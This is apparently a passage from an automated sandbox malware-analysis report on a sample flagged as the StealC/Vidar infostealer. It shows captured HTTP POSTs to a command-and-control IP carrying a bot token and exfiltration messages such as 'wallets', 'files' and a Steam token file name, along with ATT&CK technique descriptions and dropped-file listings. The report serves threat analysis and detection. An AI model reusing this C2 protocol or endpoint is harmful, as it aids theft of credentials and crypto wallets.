form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="message"wallets------GCBKECAKFBGCAKECGIEH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBFHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="message"files------CGDBGCBGIDHCBGDHIEBF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHCHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="file"------AKEGDHJDHDAFHJJKJEHC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDGHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="message"ybncbhylepme------DAECAECFCAAEBFHIEHDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHCHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEGHJKFHJJJKJJJJKEHC--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKJEGCFBGDHJJJJJKJE

C:\ProgramData\CAEBGHDB

C:\ProgramData\CGIEBAFHJJDBGCAKJJKFBGCFIJ

C:\ProgramData\DAKFCGIJKJKFHIDHIIIE

C:\ProgramData\GCBGCGHDGIEGCBFIEGCB

C:\ProgramData\GCBKECAKFBGCAKECGIEHDGHCBA

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

C:\ProgramData\IIEGHJJD

C:\ProgramData\KJJECGHJDBFIJJJKEHCBFIJJDG

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00F49860 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212
libraryloaderCOMMON

Function 00F345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00F3BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00F44910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00F49C10 Relevance: 235.2, APIs: 112, Strings: 22, Instructions: 684
libraryloaderCOMMON

Function 00F37710 Relevance: 96.8, APIs: 54, Strings: 1, Instructions: 584
stringmemoryCOMMON

Function 00F40250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre